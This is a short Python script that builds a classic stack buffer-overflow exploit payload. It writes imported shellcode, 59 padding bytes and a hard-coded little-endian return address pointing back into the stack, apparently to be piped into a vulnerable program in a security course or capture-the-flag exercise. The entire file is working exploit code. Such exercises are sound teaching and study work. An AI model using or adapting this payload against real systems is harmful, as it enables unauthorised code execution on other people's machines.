from shellcode import shellcode
import sys

shellcode_start_address = 0xfff6b8ec

# Write the shellcode bytes, then some garbage bytes to overflow the 
# buffer, then the address of the start of the shellcode on the stack
sys.stdout.buffer.write(shellcode + b"\x41" * 59 + shellcode_start_address.to_bytes(4, "little"))